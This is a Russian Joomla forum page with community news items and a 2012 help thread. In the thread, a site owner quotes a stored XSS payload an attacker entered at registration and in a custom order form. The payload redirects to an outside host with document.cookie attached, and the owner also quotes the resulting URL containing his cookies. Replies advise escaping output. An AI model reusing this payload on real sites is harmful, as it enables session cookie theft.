Новости Joomla

🏆 Открыто голосование за Joomla в премии CMS Critic People’s Choice Awards 2025

🏆 Открыто голосование за Joomla в премии CMS Critic People’s Choice Awards 2025

🗓 Голосование продлится до 27 февраля 2026 года.

👩‍💻 Проголосовать! 👩‍💻

Номинации, в которых можно проголосовать за Joomla:
⭐️ Best Free CMS
⭐️ Best Open Source CMS
⭐️ Best Enterprise CMS

Также в номинации Best e-Commerce Solution участвуют компоненты интернет-магазинов для Joomla:
⭐️ HikaShop
⭐️ Virtuemart

В номинации Best Website Builder оказались:
⭐️ YooTheme
⭐️ SP Page Builder

Что такое CMS Critic Awards?
С 2012 года премия CMS Critic Awards занимает особое место в сообществе систем управления контентом (CMS). Это единственный в своем роде сайт, который составляет рейтинг системы управления контентом и связанных с ними решений на рынке — от малого до крупного и подчеркивает их инновации и услуги.

Каждый год награда CMS Critic Awards присуждается одному победителю в различных отраслевых категориях, таких как: «Лучшая облачная CMS», «Лучший DXP», «Лучшая Headless CMS и других. Затем результаты оглашаются через СМИ вместе с выбором редакции CMS Critic.
В этом году премия вернулась к своим традициям и только TOP-5 движков по количеству номинаций попали в 2-й этап - голосование.

@joomlafeed

👩‍💻 Релиз JoomGallery 4.3.0 - компонент галереи изображений для Joomla.

👩‍💻 Релиз JoomGallery 4.3.0 - компонент галереи изображений для Joomla.

Одна из самых популярных и старейших фото-галерей для Joomla получила новую версию.

👉 v.4.3.0. Что нового?
Панель управления для зарегистрированных пользователей. В этой версии появилась возможность каждому зарегистрированному пользователю управлять своими категориями и изображениями во фронтенде сайта.

Документация по новой функции.
Сайт проекта

@joomlafeed

👩‍💻 Вместе мы развиваем Joomla: станьте Joomfluencer!

👩‍💻 Вместе мы развиваем Joomla: станьте Joomfluencer!

Вы уверенно чувствуете себя перед камерой, динамичны, обаятельны и всегда улыбаетесь? Чувствуете себя искателем приключений, готовым поделиться своими исследованиями CMS Joomla!, взять интервью у видных деятелей сообщества, пообщаться лично или по видеосвязи с волонтерами Joomla или отправиться на поиски новых идей?

Joomla ищет одного или нескольких волонтеров, готовых вдохнуть новую жизнь в обсуждение Joomla, ее CMS, пользователей, сообщества и многого другого.

Возможны самые разные форматы и темы: шортсы, интервью, аналитика и разборы в режиме реального времени, быстрые советы и рекомендации, знакомство с миром Joomla, изучение открытого исходного кода... Нет никаких ограничений!

Joomla! уже активно представлена ​​во многих социальных сетях:
- 155K подписчиков на Facebook,
- 55K подписчиков на X (ранее Twitter),
- 16K подписчиков на YouTube,
- 14K подписчиков на LinkedIn,
- 5,7K подписчиков в Instagram
а так же другие площадки ждут вас. Аккаунты Threads и Bluesky относительно новые, но их популярность только растёт!

А если хватит энергии, можно рассмотреть и TikTok!

❓ Итак, вы готовы?
👉 Свяжитесь с отделом маркетинга по адресу: marketing@community.joomla.org

Подробности в статье в Joomla Community Magazine.

@joomlafeed

1   Вниз
0 Пользователей и 1 Гость просматривают эту тему.
  • 7 Ответов
  • 2178 Просмотров
*

feirdog

  • Захожу иногда
  • 60
  • 0 / 0
Ввод кода в поле при регистрации
« : 15.03.2012, 02:31:33 »
Стоит Joomla 1.5.25 русская. Включено мыло нотификации при регистрации нового юзера.
И сегодня такая ситуация приключилась.
Пришло мыло такого содержания:

Новый пользователь зарегистрирован на сайте *****

Параметры учетной записи:

Имя - '">document.location.replace('http://deineka.ho.ua/gc.php?proc='+document.cookie);
e-mail - asdf@af.com
Логин - asdf

Смотрю появился юзер с таким кодоником.
Внешне ничего не снес, но в сайте есть самописный модуль заказов с текстовыми полями, там вредитель ввел такой код:

Название продукта: <b>\'\"><script>document.location.replace(\'http://deineka.ho.ua/gc.php?proc=\'+document.cookie);</script></b>
Ссылка на продукт: <a href="\'\"><script>document.location.replace(\'http://deineka.ho.ua/gc.php?proc=\'+document.cookie);</script>" target=_blank>\'\"><script>document.location.replace(\'http://deineka.ho.ua/gc.php?proc=\'+document.cookie);</script></a>
Комментарии и пожелания:
\'\"><script>document.location.replace(\'http://deineka.ho.ua/gc.php?proc=\'+document.cookie);</script>

В итоге при входе в заказы, меня перекидывало на данный сайт : http://deineka.ho.ua/gc.php?proc=configuration=system;%20ja_barite_tpl=ja_barite;%20__utma=50448697.909124112.1329591684.1331316799.1331640717.14;%20__utmz=50448697.1329591684.1.1.utmcsr=%28direct%29|utmccn=%28direct%29|utmcmd=%28none%29;%208c146e575de0e2c5c21eec91b78f28f3=9da7a760e7c4766a0467ebfdb09f3913

Удалил через базу заказы и юзера. Все вроде ОК.
Подскажите как не пропускать таких негодяев и код при регистрации.
Записан
*

Magnum

  • Захожу иногда
  • 269
  • 14 / 0
  • magnumblog.space
Re: Ввод кода в поле при регистрации
« Ответ #1 : 15.03.2012, 09:37:52 »
Регистрация идет через стандартный модуль Joomla или Virtue?
Записан
Я не волшебник. Я всего лишь учусь!
*

feirdog

  • Захожу иногда
  • 60
  • 0 / 0
Re: Ввод кода в поле при регистрации
« Ответ #2 : 15.03.2012, 12:05:19 »
Стандартный модуль Joomla.
Записан
*

mohax

  • Давно я тут
  • 901
  • 66 / 3
Re: Ввод кода в поле при регистрации
« Ответ #3 : 15.03.2012, 12:27:52 »
пароль смените на всякий пожарный =) А так фильтровать надо данные, которые из формы приходят... и при выводе тоже.
Записан
*

feirdog

  • Захожу иногда
  • 60
  • 0 / 0
Re: Ввод кода в поле при регистрации
« Ответ #4 : 15.03.2012, 17:42:13 »
А как фильтровать ыввод данных при регистрации в стандартном модуле Joomla?
Записан
*

mohax

  • Давно я тут
  • 901
  • 66 / 3
Re: Ввод кода в поле при регистрации
« Ответ #5 : 15.03.2012, 18:00:10 »
Цитата: feirdog от 15.03.2012, 17:42:13
А как фильтровать ыввод данных при регистрации в стандартном модуле Joomla?
Если я правильно понял, то проблема в заказах, а не в регистрационных данных. Когда заходите в админке в список пользователей - тоже редиректит? Думаю нет. Проблема в вашей самописной форме заказов я думаю.
Записан
*

feirdog

  • Захожу иногда
  • 60
  • 0 / 0
Re: Ввод кода в поле при регистрации
« Ответ #6 : 16.03.2012, 13:24:00 »
Проблема как раз в регистрации. Пропустила код.
Записан
*

mohax

  • Давно я тут
  • 901
  • 66 / 3
Re: Ввод кода в поле при регистрации
« Ответ #7 : 27.03.2012, 22:18:07 »
Цитата: feirdog от 16.03.2012, 13:24:00
Проблема как раз в регистрации. Пропустила код.
ЧТо значит пропустила код? Она их просто заэскейпила и сохранила в базу. А Вы в своем компоненте заказов вместо того чтобы обрабатывать данные перед выводом хотя бы с помощью htmlspecalchars просто вывели эту строку. Вот и косяк. Без кода точно сказать не могу. Но по описанию картина такая.
Записан
1   Вверх
Чтобы оставить сообщение,
Вам необходимо Войти или Зарегистрироваться
 

Новый набег ботов в регистрации сайта... Какой в этом смысл то?

Автор Cedars

 Ответов: 11
Просмотров: 2778 		Последний ответ 03.11.2020, 17:36:03
от Cedars
Сайты заражаются каждые 10-15 минут. Как остановить нашествие вредоносного кода?

Автор SweetApple

 Ответов: 24
Просмотров: 2502 		Последний ответ 16.12.2016, 16:33:38
от SweetApple
Защита от автоматической регистрации

Автор vasileo

 Ответов: 0
Просмотров: 1127 		Последний ответ 14.12.2016, 05:19:14
от vasileo
После запрета регистрации, все равно регистрируются

Автор rafaello9

 Ответов: 2
Просмотров: 1410 		Последний ответ 25.11.2016, 17:50:19
от flyingspook
Скажите все функции кода )

Автор wishlight

 Ответов: 6
Просмотров: 1507 		Последний ответ 22.04.2016, 18:00:55
от wishlight